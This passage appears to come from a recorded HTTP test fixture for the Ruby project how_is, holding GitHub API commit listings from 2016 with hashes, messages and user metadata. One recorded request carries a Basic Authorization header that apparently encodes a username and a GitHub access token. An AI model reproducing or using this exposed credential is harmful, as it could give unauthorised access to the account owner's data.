lcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"77657d9219e4bc4dd71a28cd31e08fff0cf7cd93","url":"https://api.github.com/repos/how-is/how_is/commits/77657d9219e4bc4dd71a28cd31e08fff0cf7cd93","html_url":"https://github.com/how-is/how_is/commit/77657d9219e4bc4dd71a28cd31e08fff0cf7cd93"}]},{"sha":"77657d9219e4bc4dd71a28cd31e08fff0cf7cd93","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Nzc2NTdkOTIxOWU0YmM0ZGQ3MWEyOGNkMzFlMDhmZmYwY2Y3Y2Q5Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:21:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:21:20Z"},"message":"Add another integration test.","tree":{"sha":"2c28939d7088c70cf7ab5fbdc50a3be6888d4984","url":"https://api.github.com/repos/how-is/how_is/git/trees/2c28939d7088c70cf7ab5fbdc50a3be6888d4984"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/77657d9219e4bc4dd71a28cd31e08fff0cf7cd93","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/77657d9219e4bc4dd71a28cd31e08fff0cf7cd93","html_url":"https://github.com/how-is/how_is/commit/77657d9219e4bc4dd71a28cd31e08fff0cf7cd93","comments_url":"https://api.github.com/repos/how-is/how_is/commits/77657d9219e4bc4dd71a28cd31e08fff0cf7cd93/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"76ff69cff3908c70886c2b07a8e0d7c42e491df3","url":"https://api.github.com/repos/how-is/how_is/commits/76ff69cff3908c70886c2b07a8e0d7c42e491df3","html_url":"https://github.com/how-is/how_is/commit/76ff69cff3908c70886c2b07a8e0d7c42e491df3"}]},{"sha":"76ff69cff3908c70886c2b07a8e0d7c42e491df3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzZmZjY5Y2ZmMzkwOGM3MDg4NmMyYjA3YThlMGQ3YzQyZTQ5MWRmMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-13T07:00:16Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-13T07:00:16Z"},"message":"Merge pull request #39 from how-is/option-parser-refactor\n\nOption parser refactor","tree":{"sha":"8a4371907f648349d0dd4664d32674b08552abee","url":"https://api.github.com/repos/how-is/how_is/git/trees/8a4371907f648349d0dd4664d32674b08552abee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/76ff69cff3908c70886c2b07a8e0d7c42e491df3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/76ff69cff3908c70886c2b07a8e0d7c42e491df3","html_url":"https://github.com/how-is/how_is/commit/76ff69cff3908c70886c2b07a8e0d7c42e491df3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/76ff69cff3908c70886c2b07a8e0d7c42e491df3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"feec180f5470f1bd0ed50d6079133cf87b1ad3c7","url":"https://api.github.com/repos/how-is/how_is/commits/feec180f5470f1bd0ed50d6079133cf87b1ad3c7","html_url":"https://github.com/how-is/how_is/commit/feec180f5470f1bd0ed50d6079133cf87b1ad3c7"},{"sha":"3376a822fefcd099596da5f78581bc501798ec3d","url":"https://api.github.com/repos/how-is/how_is/commits/3376a822fefcd099596da5f78581bc501798ec3d","html_url":"https://github.com/how-is/how_is/commit/3376a822fefcd099596da5f78581bc501798ec3d"}]},{"sha":"3376a822fefcd099596da5f78581bc501798ec3d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzM3NmE4MjJmZWZjZDA5OTU5NmRhNWY3ODU4MWJjNTAxNzk4ZWMzZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-13T06:52:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-13T06:56:45Z"},"message":"Refactor option parsing.","tree":{"sha":"8a4371907f648349d0dd4664d32674b08552abee","url":"https://api.github.com/repos/how-is/how_is/git/trees/8a4371907f648349d0dd4664d32674b08552abee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3376a822fefcd099596da5f78581bc501798ec3d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3376a822fefcd099596da5f78581bc501798ec3d","html_url":"https://github.com/how-is/how_is/commit/3376a822fefcd099596da5f78581bc501798ec3d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3376a822fefcd099596da5f78581bc501798ec3d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e15201097d7f6a4fc114587b52f869372f791452","url":"https://api.github.com/repos/how-is/how_is/commits/e15201097d7f6a4fc114587b52f869372f791452","html_url":"https://github.com/how-is/how_is/commit/e15201097d7f6a4fc114587b52f869372f791452"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:47 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=11&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3334' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6c05e99ae423313f77547a24c579ccee" Last-Modified: - Sat, 13 Aug 2016 06:41:33 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 9632:6D3A:1D42A0:41283C:5CC36AEF body: encoding: ASCII-8BIT string: '[{"sha":"e15201097d7f6a4fc114587b52f869372f791452","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTE1MjAxMDk3ZDdmNmE0ZmMxMTQ1ODdiNTJmODY5MzcyZjc5MTQ1Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-13T06:41:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-13T06:41:33Z"},"message":"Refactor CLI flag parser.","tree":{"sha":"5df3c23b20b3f27ed4929fda5d5d317d8dee5f83","url":"https://api.github.com/repos/how-is/how_is/git/trees/5df3c23b20b3f27ed4929fda5d5d317d8dee5f83"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e15201097d7f6a4fc114587b52f869372f791452","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e15201097d7f6a4fc114587b52f869372f791452","html_url":"https://github.com/how-is/how_is/commit/e15201097d7f6a4fc114587b52f869372f791452","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e15201097d7f6a4fc114587b52f869372f791452/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"feec180f5470f1bd0ed50d6079133cf87b1ad3c7","url":"https://api.github.com/repos/how-is/how_is/commits/feec180f5470f1bd0ed50d6079133cf87b1ad3c7","html_url":"https://github.com/how-is/how_is/commit/feec180f5470f1bd0ed50d6079133cf87b1ad3c7"}]},{"sha":"feec180f5470f1bd0ed50d6079133cf87b1ad3c7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmVlYzE4MGY1NDcwZjFiZDBlZDUwZDYwNzkxMzNjZjg3YjFhZDNjNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T08:55:30Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-12T08:55:30Z"},"message":"Merge pull request #38 from how-is/fix-integration-tests\n\nFix first integration test","tree":{"sha":"181f5f4d5fe535fd753507bfc276786194c2c68e","url":"https://api.github.com/repos/how-is/how_is/git/trees/181f5f4d5fe535fd753507bfc276786194c2c68e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/feec180f5470f1bd0ed50d6079133cf87b1ad3c7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/feec180f5470f1bd0ed50d6079133cf87b1ad3c7","html_url":"https://github.com/how-is/how_is/commit/feec180f5470f1bd0ed50d6079133cf87b1ad3c7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/feec180f5470f1bd0ed50d6079133cf87b1ad3c7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a0d9195873042e560f6cb71955ff8247f749400","url":"https://api.github.com/repos/how-is/how_is/commits/4a0d9195873042e560f6cb71955ff8247f749400","html_url":"https://github.com/how-is/how_is/commit/4a0d9195873042e560f6cb71955ff8247f749400"},{"sha":"2b131f733650701cdd836cd8826dfaf721c2f4c0","url":"https://api.github.com/repos/how-is/how_is/commits/2b131f733650701cdd836cd8826dfaf721c2f4c0","html_url":"https://github.com/how-is/how_is/commit/2b131f733650701cdd836cd8826dfaf721c2f4c0"}]},{"sha":"2b131f733650701cdd836cd8826dfaf721c2f4c0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmIxMzFmNzMzNjUwNzAxY2RkODM2Y2Q4ODI2ZGZhZjcyMWMyZjRjMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:53:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:53:40Z"},"message":"Use . instead of ./json as output directory in integration tests.","tree":{"sha":"181f5f4d5fe535fd753507bfc276786194c2c68e","url":"https://api.github.com/repos/how-is/how_is/git/trees/181f5f4d5fe535fd753507bfc276786194c2c68e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2b131f733650701cdd836cd8826dfaf721c2f4c0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2b131f733650701cdd836cd8826dfaf721c2f4c0","html_url":"https://github.com/how-is/how_is/commit/2b131f733650701cdd836cd8826dfaf721c2f4c0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2b131f733650701cdd836cd8826dfaf721c2f4c0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba","url":"https://api.github.com/repos/how-is/how_is/commits/6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba","html_url":"https://github.com/how-is/how_is/commit/6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba"}]},{"sha":"6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmVkMDc4ZDJkOWExYjBmZjI4ODQyZjcwNWNlN2JhNzliMzVlNTRiYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:50:28Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:50:28Z"},"message":"Use Strings instead of Symbols, Part 2.","tree":{"sha":"db55a25258f61f05f50ee3c985d47a90d932a418","url":"https://api.github.com/repos/how-is/how_is/git/trees/db55a25258f61f05f50ee3c985d47a90d932a418"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba","html_url":"https://github.com/how-is/how_is/commit/6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6ed078d2d9a1b0ff28842f705ce7ba79b35e54ba/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"16c0f220acddf67a91e6eafc28d7f056a8448f10","url":"https://api.github.com/repos/how-is/how_is/commits/16c0f220acddf67a91e6eafc28d7f056a8448f10","html_url":"https://github.com/how-is/how_is/commit/16c0f220acddf67a91e6eafc28d7f056a8448f10"}]},{"sha":"16c0f220acddf67a91e6eafc28d7f056a8448f10","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTZjMGYyMjBhY2RkZjY3YTkxZTZlYWZjMjhkN2YwNTZhODQ0OGYxMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:46:54Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:46:54Z"},"message":"Use Strings instead of Symbols.","tree":{"sha":"950bd5f13870c4b17c24d5d2ca08f876953db119","url":"https://api.github.com/repos/how-is/how_is/git/trees/950bd5f13870c4b17c24d5d2ca08f876953db119"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/16c0f220acddf67a91e6eafc28d7f056a8448f10","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/16c0f220acddf67a91e6eafc28d7f056a8448f10","html_url":"https://github.com/how-is/how_is/commit/16c0f220acddf67a91e6eafc28d7f056a8448f10","comments_url":"https://api.github.com/repos/how-is/how_is/commits/16c0f220acddf67a91e6eafc28d7f056a8448f10/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6861f0ef4e8635859fcad7a642134f3a3976c4e5","url":"https://api.github.com/repos/how-is/how_is/commits/6861f0ef4e8635859fcad7a642134f3a3976c4e5","html_url":"https://github.com/how-is/how_is/commit/6861f0ef4e8635859fcad7a642134f3a3976c4e5"}]},{"sha":"6861f0ef4e8635859fcad7a642134f3a3976c4e5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Njg2MWYwZWY0ZTg2MzU4NTlmY2FkN2E2NDIxMzRmM2EzOTc2YzRlNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:39:18Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T05:39:18Z"},"message":"Use string keys instead of symbol keys.","tree":{"sha":"dcf94ebae4bb97ba60356906434b6eb71db75c2f","url":"https://api.github.com/repos/how-is/how_is/git/trees/dcf94ebae4bb97ba60356906434b6eb71db75c2f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6861f0ef4e8635859fcad7a642134f3a3976c4e5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6861f0ef4e8635859fcad7a642134f3a3976c4e5","html_url":"https://github.com/how-is/how_is/commit/6861f0ef4e8635859fcad7a642134f3a3976c4e5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6861f0ef4e8635859fcad7a642134f3a3976c4e5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.githu